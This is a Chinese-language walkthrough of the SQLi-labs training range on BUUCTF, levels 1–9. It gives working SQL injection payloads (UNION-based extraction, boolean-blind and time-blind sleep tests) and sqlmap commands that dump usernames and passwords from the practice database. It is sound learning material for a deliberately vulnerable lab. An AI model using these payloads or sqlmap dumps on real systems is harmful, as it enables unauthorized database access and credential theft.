SQL-labs靶场通关
靶场地址:BUUCTF在线评测
level 1
GET传参 ?id=1
传参2回显不同,说明传入的参数是会进入数据库语句的
1'
单引号报错,这里有报错注入
1'--+
可以判断出是字符型且存在SQL注入
联合查询爆出列数,3列能正常回显
1'UNION SELECT 1,2,3--+
确定回显位
爆库,库名为 security
-1'UNION SELECT 1,2,database()--+
爆表,库中有表 emails, referers, uagents, users
-1'UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆users表的字段
-1'UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆 username 和 password 列的数据
-1'UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') from users--+
level 2
还是GET传参,id?=1
1'
单引号报错
1'--+
还是报错,看来是字符型
然后跟level1一样了,把单引号去了就行
level 3
单引号报错,注释后面的也报错,是字符型,但是这里的报错要注意
所以我们需要将括号闭合
爆列数:
id=-1') union select 1,2,3 --+
然后就是跟前面一样
level 4
单引号没反应,双引号报错了,双引号的字符型
注意括号闭合,跟level3一样
爆库
-1") union select 1,2,database()--+
爆字段
-1") UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') from users--+
level 5
id=1,回显了一个 “You are in”
单引号报错
是字符型
爆列数,是三列:
id=1' union select 1,2,3--+
只有“You are in”来判断是否成功,bool盲注
- 爆库:
先测库名长度,最终测出来8位时有回显1' and length(database())=8 --+
然后测库名,先测第一个字符,测出为 ‘s’
1' and ascii(substr(database(),1,1))=115 --+
测出了注入点,sqlmap直接梭即可
python sqlmap.py -u http://7796490a-d8c6-4484-a4f4-93f46c2e3466.node5.buuoj.cn/Less-5?id=1 -p 'id' --technique B --current-db --batch
爆表
python sqlmap.py -u http://7796490a-d8c6-4484-a4f4-93f46c2e3466.node5.buuoj.cn/Less-5?id=1 -p 'id' --technique B -D 'security' --tables --batch
爆字段
python sqlmap.py -u http://7796490a-d8c6-4484-a4f4-93f46c2e3466.node5.buuoj.cn/Less-5?id=1 -p 'id' --technique B -D 'security' -T 'users' --columns --batch
爆数据
python sqlmap.py -u http://7796490a-d8c6-4484-a4f4-93f46c2e3466.node5.buuoj.cn/Less-5?id=1 -p 'id' --technique B -D 'security' -T 'users' -C 'username,password' --dump --batch
level 6
还是GET参数
1'
单引号无反应,1"
双引号报错
1"--+
不报错,看来是字符型
那就跟level5一样,只是把单引号换成双引号罢了
*level 7
?id=1
,这次输出不一样了
1'
单引号不再回显详细的错误信息,只提示语法有错误
1' --+
还是报错
1''
不报错了,id 应该是由单引号包裹的
1')--+
加个括号,还是报错
1'))--+
双括号,不报错了!看来id是 (('id'))
包裹的
测试注入点,成功正常返回,说明有3列
1')) union select 1,2,3--+
爆库
测试库名长度1')) and length(database())=8--+
后面的就跟level5一样了
level 8
GET传参?id=1
1'
加个单引号,没回显了
1' --+
回显成功
测试注入点,有三列
1' union select 1,2,3--+
后面的就跟level5一样了
level 9
GET传参
1'
单引号,没反应1"
双引号,没反应
可能是时间盲注,测一下
1' and if(1=2,1,sleep(5)) --+
成功延迟
- 爆库
测试库名称长度,长度为8时不延迟1' and if(length(database())=8,1,sleep(5)) --+
测试库名的第一个字符,115即’s’时不延迟
1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
然后就直接上sqlmap了,爆库名:
python sqlmap.py -u 'http://8014c573-16a1-446b-b671-54736ab76628.node5.buuoj.cn/Less-9?id=1' -p 'id' --technique T -o --current-db --batch
然后正常爆库爆表爆字段即可